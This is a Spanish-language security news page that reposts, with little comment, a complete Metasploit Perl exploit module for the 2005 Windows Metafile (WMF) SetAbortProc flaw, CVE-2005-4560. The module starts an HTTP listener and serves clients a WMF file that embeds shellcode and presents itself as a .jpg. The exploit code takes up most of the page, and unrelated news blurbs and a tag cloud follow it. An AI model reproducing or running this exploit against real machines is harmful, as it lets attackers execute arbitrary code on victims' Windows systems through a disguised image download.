Microsoft Windows Metafile (WMF) "SetAbortProc" Remote Code Execution Exploit


Exploit publicado en frsirt.com que ataca Microsoft Windows Metafile (WMF) causando una ejecución de código malicioso.





Enlace de la noticia:
http://www.xombra.com/go_news.php?articulo=2126

Advisory ID : FrSIRT/ADV-2005-3086
Rated as : Critical
Note : This exploits generates a random WMF record stream for each request

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_xp_pfv_metafile;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;

my $advanced =
{
};

my $info =
{
'Name' => 'Windows XP/2003 Metafile Escape() SetAbortProc Code Execution',
'Version' => '$Revision: 1.5 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
'san <san [at] xfocus.org>',
'0600K078XUS[at]unknown.ru'
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
to execute arbitrary code through the SetAbortProc procedure. This module
generates a random WMF record stream for each request.
}),

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,

'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},

'Payload' =>
{
'Space' => 1000+int(rand(1024)), # :-)
},

'Refs' =>
[
['BID', '16074'],
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MIL', '111'],
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - Windows XP / Windows 2003' ]
],

'Keys' => [ 'wmf' ],

'DisclosureDate' => 'Dec 27 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

my $httphost = $self->GetVar('HTTPHOST');
if ($httphost eq '0.0.0.0') {
$httphost = Pex::Utils::SourceIP('1.2.3.4');
}

$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

my $shellcode = $self->GetVar('EncodedPayload')->Payload;

# Push our minimum length just over the ethernet MTU
my $pre_mlen = 1440 + rand(8192);
my $suf_mlen = rand(8192)+128;

# The number of random objects we generated
my $fill = 0;

# The buffer of random bogus objects
my $pre_buff = "";
my $suf_buff = "";

while (length($pre_buff) < $pre_mlen && $fill < 65535) {
$pre_buff .= RandomWMFRecord();
$fill += 1;
}

while (length($suf_buff) < $suf_mlen && $fill < 65535) {
$suf_buff .= RandomWMFRecord();
$fill += 1;
}

my $clen = 18 + 8 + 6 + length($shellcode) + length($pre_buff) + length($suf_buff);
my $content =
#
# WindowsMetaHeader
#
pack('vvvVvVv',
# WORD FileType; /* Type of metafile (0=memory, 1=disk) */
1,
# WORD HeaderSize; /* Size of header in WORDS (always 9) */
9,
# WORD Version; /* Version of Microsoft Windows used */
0x0300,
# DWORD FileSize; /* Total size of the metafile in WORDs */
$clen/2,
# WORD NumOfObjects; /* Number of objects in the file */
$fill+1,
# DWORD MaxRecordSize; /* The size of largest record in WORDs */
int(rand(64)+8),
# WORD NumOfParams; /* Not Used (always 0) */
0
).
#
# Filler data
#
$pre_buff.
#
# StandardMetaRecord - Escape()
#
pack('Vvv',
# DWORD Size; /* Total size of the record in WORDs */
4,
# WORD Function; /* Function number (defined in WINDOWS.H) */
0x0426, # Can also be 0x0026, 0x0626, etc...
# WORD Parameters[]; /* Parameter values passed to function */
9,
). $shellcode .
#
# Filler data
#
$suf_buff.
#
# Complete the structure
#
pack('Vv',
3,
0
);

# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);


# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);


$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending payload...");

# Transmit the HTTP response
$fd->Send(
"HTTP/1.0 200 OK\r\n" .
"Content-Disposition: inline; filename=". Pex::Text::AlphaNumText(int(rand(1024)+1)) .".jpg\r\n".
"Content-Type: binary/octet-stream\r\n" .
"Content-Length: " . length($content) . "\r\n" .
"Connection: close\r\n" .
"\r\n" .
$content
);

$fd->Close();
}

sub RandomWMFRecord {
my $type = int(rand(3));

if ($type == 0) {
# CreatePenIndirect
return pack('Vv',
8,
0x02FA
). Pex::Text::RandomData(10)
}
elsif ( $type == 1 ) {
# CreateBrushIndirect
return pack('Vv',
7,
0x02FC
). Pex::Text::RandomData(8)
}
else {
# Rectangle
return pack('Vv',
7,
0x041B
). Pex::Text::RandomData(8)
}
}

1;



Otras noticias de interés:

Vulnerabilidades en la ayuda de Windows
Se ha anunciado la existencia de dos vulnerabilidades en la ayuda de Windows relacionadas con el tratamiento de archivos ayuda html y que podrían permitir a un usuario malicioso tomar el control del sistema atacado....
Usuarios siguen ignorando la seguridad WiFi
Un nuevo estudio llevado a cabo por la Wi-Fi Alliance pone de relieve que, pese a que los usuarios inalámbricos están haciendo progresos en lo que a seguridad se refiere, todavía dejan sus redes Wi-Fi abierta a los intrusos....
Pautas generales para mantenerse alejado de los virus
Recuerde estas pautas para mantener alejado de su computadora cualquier riesgo de virus, troyanos y malware: ...
Microsoft cubrirá un agujero de día cero en IE la próxima semana
Microsoft ha anunciado que emitirá seis actualizaciones en su próximo boletín mensual de seguridad, que estará disponible el próximo martes. Entre ellas se incluirá un parche desarrollado para cubrir una vulnerabilidad en Internet Explorer (IE)...
ISSA 5173 Nuevo estándar de seguridad de información para Pymes
Los objetivos del grupo de trabajo del ISSA-5173 han sido: Elaborar un proyecto de norma con la consulta a Pymes y a comunidades de la seguridad de la información....
Microsoft publicará 11 boletines el próximo martes
En su ciclo habitual de actualizaciones los segundos martes de cada mes, Microsoft ha anunciado que en esta ocasión se esperan 11 boletines de seguridad. Afectan a toda la gama del operativo Windows, Office y Exchange. Pueden contener un número ind...
Sun dejará de desarrollar su propia versión Linux
Sun Microsystems está en negociaciones con las principales compañías de Linux, como Red Hat o SuSe Linux, para alcanzar un acuerdo sobre la distribución de este entorno. Hasta el momento la compañía distribuía su propia versión en las máquin...
Otra vulnerabilidad en Firefox 3.5 sin parche disponible
Si hace apenas cuatro días hablábamos de una vulnerabilidad grave en Firefox 3.5, resuelta en la versión en desarrollo, pero que tardó un par de días en solventarse en la versión estable, ahora se ha detectado otra vulnerabilidad crítica no ex...
Crecen los ciberataques relacionados con Facebook
GFI Software ha detectado en marzo un repunte de las falsas aplicaciones de Facebook, así como nuevos ciberataques con el terremoto, tsunami y posteriores desastres nucleares ocurridos en Japón como protagonistas. También anticipa nuevas estafas d...
Anti-Virus-1: un nuevo falso antivirus
Anti-Virus-1 es un adware del tipo conocido como falsos antivirus. Como todos los de este tipo, está diseñado para simular que lleva a cabo un análisis del equipo mediante el cuál detecta decenas de ejemplares de malware que, en realidad, no ex...

Brindanos
un o una


Redes Sociales

Publicidad


Gana Bitcoins desde tu casa

Categorías


Planeta Vaslibre

Blog Roll




Nube de tags

  • anonimato
  • anonimo
  • antivirus
  • apache
  • blog
  • bsd
  • bug
  • centos
  • chrome
  • cifrado
  • code
  • computer
  • debian
  • execution
  • exploit
  • exploits
  • fedora
  • fice
  • firefox
  • forense
  • freebsd
  • gentoo
  • github
  • gnome
  • gnu
  • gpl
  • gtk
  • hack
  • hacking
  • hosting
  • informatica
  • internet
  • isos
  • libre
  • licencias
  • linux
  • linuxmint
  • lxde
  • metafile
  • micros
  • mint
  • mit
  • mozilla
  • mysql
  • noticia
  • opensource
  • pgp
  • php
  • remote
  • sabayon
  • seguridad
  • setabortproc
  • system
  • tecnologia
  • thunar
  • thunderbird
  • tor
  • troyanos
  • tware
  • ubuntu
  • underground
  • vaslibre
  • virus
  • viserproject
  • vivaldi
  • vulnerabilidades
  • web
  • website
  • windows
  • wmf
  • xanadu
  • xfce
  • xombra